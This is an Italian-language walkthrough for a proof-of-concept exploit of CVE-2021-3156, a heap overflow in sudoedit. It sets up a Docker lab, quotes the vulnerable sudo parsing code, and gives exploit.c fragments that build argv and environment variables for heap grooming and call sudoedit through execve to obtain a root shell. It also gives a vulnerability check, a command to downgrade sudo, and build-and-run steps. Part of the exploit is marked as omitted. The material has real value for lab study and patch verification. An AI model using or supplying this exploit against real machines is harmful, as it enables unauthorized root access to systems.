
versione corretta
Crea un'immagine usando Dockerfile
docker build -t cve-2021-3156:ubuntu2004 .
Crea un contenitore usando l'immagine
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
Nelle versioni precedenti a Sudo 1.9.5p2, esiste un errore off-by-one che può portare a un heap-based buffer overflow.
Un attaccante può eseguire:
sudoedit -s <parametro che termina con un singolo backslash `\`>
per elevare i privilegi a root senza bisogno di password.
Prendendo come esempio il codice sorgente di sudo versione 1.8.31p1, quando si esegue sudoedit -s e viene fornito un carattere di escape \, viene prima chiamata la funzione parse_args in parse_args.c per eseguire l'escape dei caratteri nel comando. Il seguente codice gestisce l'escape dei caratteri speciali in input.
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
Successivamente, prima di salvare i parametri di input esterni nello spazio heap o stack della memoria, il programma chiama la funzione set_cmnd nel file sudoers.c per copiare gli argomenti della riga di comando nella memoria heap, e deve rimuovere tutti i caratteri di escape \ usando il codice seguente.
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
Il problema è: quando parse_args non esegue l'escape dei parametri (cioè non inserisce \ aggiuntivi), il programma successivamente entra comunque nella funzione set_cmnd per rimuovere gli escape, ma poiché non è stato eseguito l'escape sul \ in input, una volta entrati nella funzione set_cnmd viene soddisfatta la condizione if, saltando il \ e copiando i parametri successivi al \ in user_args. Se la copia è troppo lunga, si verifica un heap overflow.
L'exp è composto da due parti: exploit.c e shellcode.c, dove exploit.c si occupa di costruire argv e envp e di chiamare sudoedit tramite execve, sfruttando l'heap overflow.
exploit.c, il programma controlla precisamente il layout dell'heap costruendo un buffer (buf) di dimensione 0xf0, sfruttando l'overflow del buffer per sovrascrivere strutture critiche. La dimensione dell'overflow è controllata dal riempimento di buf (con 'Y' e \), e successivamente chiama sudoedit tramite execve per innescare la vulnerabilità. char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* per regolare l'heap. Attraverso la disposizione di queste variabili d'ambiente, la struttura target service_user viene allocata nel percorso dell'overflow. I dati in overflow vengono trasmessi tramite la variabile d'ambiente overflow e sovrascrivono i campi della struttura service_user. char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp costruito, i dati dell'overflow vengono passati a sudoedit, sovrascrivendo la struttura target e realizzando lo sfruttamento della vulnerabilità. char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// parte omessa
NULL};
execve, viene innescata l'esecuzione di sudoedit. execve("/usr/bin/sudoedit", argv, envp);
Testato su Ubuntu 20.04, per sudo 1.8.31
Puoi verificare se la tua versione di sudo è vulnerabile con il seguente comando:
$ sudoedit -s Y
Se viene richiesta una password, è molto probabile che sia vulnerabile; se vengono stampate informazioni sull'uso, la versione non è vulnerabile.
Puoi downgradare sudo su Ubuntu 20.04 a una versione vulnerabile per testare con il seguente comando:
$ sudo apt install sudo=1.8.31-1ubuntu1
Utilizzo Esegui make per compilare ed eseguire lo sfruttamento:
$ make
$ ./exploit
Dopo aver sfruttato con successo la vulnerabilità, si ottiene una shell root interattiva in grado di eseguire operazioni privilegiate.
